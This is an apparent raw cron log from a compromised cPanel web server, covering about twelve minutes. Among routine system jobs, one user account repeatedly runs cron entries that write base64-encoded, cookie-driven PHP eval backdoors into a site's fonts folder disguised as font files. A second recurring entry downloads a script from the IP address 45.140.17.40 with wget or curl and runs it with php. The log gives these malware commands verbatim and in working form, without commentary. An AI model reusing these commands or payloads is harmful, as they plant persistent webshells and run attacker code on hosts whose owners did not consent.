Sep  3 01:33:01 ip-184-168-122-23 CROND[10421]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 01:33:01 ip-184-168-122-23 CROND[10422]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:33:01 ip-184-168-122-23 CROND[10420]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:34:01 ip-184-168-122-23 CROND[10512]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 01:34:01 ip-184-168-122-23 CROND[10515]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:34:01 ip-184-168-122-23 CROND[10514]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 01:34:01 ip-184-168-122-23 CROND[10516]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:34:01 ip-184-168-122-23 CROND[10517]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 01:35:01 ip-184-168-122-23 CROND[10645]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 01:35:01 ip-184-168-122-23 CROND[10648]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:35:01 ip-184-168-122-23 CROND[10649]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:35:01 ip-184-168-122-23 CROND[10647]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 01:35:01 ip-184-168-122-23 CROND[10650]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  3 01:35:01 ip-184-168-122-23 CROND[10652]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 01:35:01 ip-184-168-122-23 CROND[10653]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 01:35:01 ip-184-168-122-23 CROND[10651]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 01:36:01 ip-184-168-122-23 CROND[10744]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:36:01 ip-184-168-122-23 CROND[10746]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 01:36:01 ip-184-168-122-23 CROND[10747]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 01:36:01 ip-184-168-122-23 CROND[10748]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:36:01 ip-184-168-122-23 CROND[10749]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 01:37:01 ip-184-168-122-23 CROND[10839]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:37:01 ip-184-168-122-23 CROND[10840]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:37:01 ip-184-168-122-23 CROND[10842]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 01:37:01 ip-184-168-122-23 CROND[10841]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 01:38:01 ip-184-168-122-23 CROND[10932]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 01:38:01 ip-184-168-122-23 CROND[10933]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:38:01 ip-184-168-122-23 CROND[10936]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:38:01 ip-184-168-122-23 CROND[10940]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 01:38:01 ip-184-168-122-23 CROND[10939]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 01:39:01 ip-184-168-122-23 CROND[11029]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 01:39:01 ip-184-168-122-23 CROND[11031]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:39:01 ip-184-168-122-23 CROND[11034]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:39:01 ip-184-168-122-23 CROND[11033]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 01:39:01 ip-184-168-122-23 CROND[11038]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  3 01:40:01 ip-184-168-122-23 CROND[11217]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 01:40:02 ip-184-168-122-23 CROND[11221]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:40:02 ip-184-168-122-23 CROND[11223]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 01:40:02 ip-184-168-122-23 CROND[11226]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 01:40:02 ip-184-168-122-23 CROND[11230]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 01:40:02 ip-184-168-122-23 CROND[11228]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:40:02 ip-184-168-122-23 CROND[11232]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 01:40:02 ip-184-168-122-23 CROND[11233]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 01:41:01 ip-184-168-122-23 CROND[11313]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:41:01 ip-184-168-122-23 CROND[11315]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 01:41:01 ip-184-168-122-23 CROND[11316]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 01:41:01 ip-184-168-122-23 CROND[11318]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:42:01 ip-184-168-122-23 CROND[11427]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 01:42:01 ip-184-168-122-23 CROND[11429]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:42:01 ip-184-168-122-23 CROND[11432]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 01:42:01 ip-184-168-122-23 CROND[11431]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 01:42:01 ip-184-168-122-23 CROND[11433]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:43:01 ip-184-168-122-23 CROND[11525]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:43:01 ip-184-168-122-23 CROND[11527]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 01:43:01 ip-184-168-122-23 CROND[11526]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:43:01 ip-184-168-122-23 CROND[11529]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 01:44:02 ip-184-168-122-23 CROND[11615]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 01:44:02 ip-184-168-122-23 CROND[11616]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:44:02 ip-184-168-122-23 CROND[11619]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 01:44:02 ip-184-168-122-23 CROND[11617]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 01:44:02 ip-184-168-122-23 CROND[11618]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:45:01 ip-184-168-122-23 CROND[11800]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:45:01 ip-184-168-122-23 CROND[11803]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 01:45:01 ip-184-168-122-23 CROND[11802]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
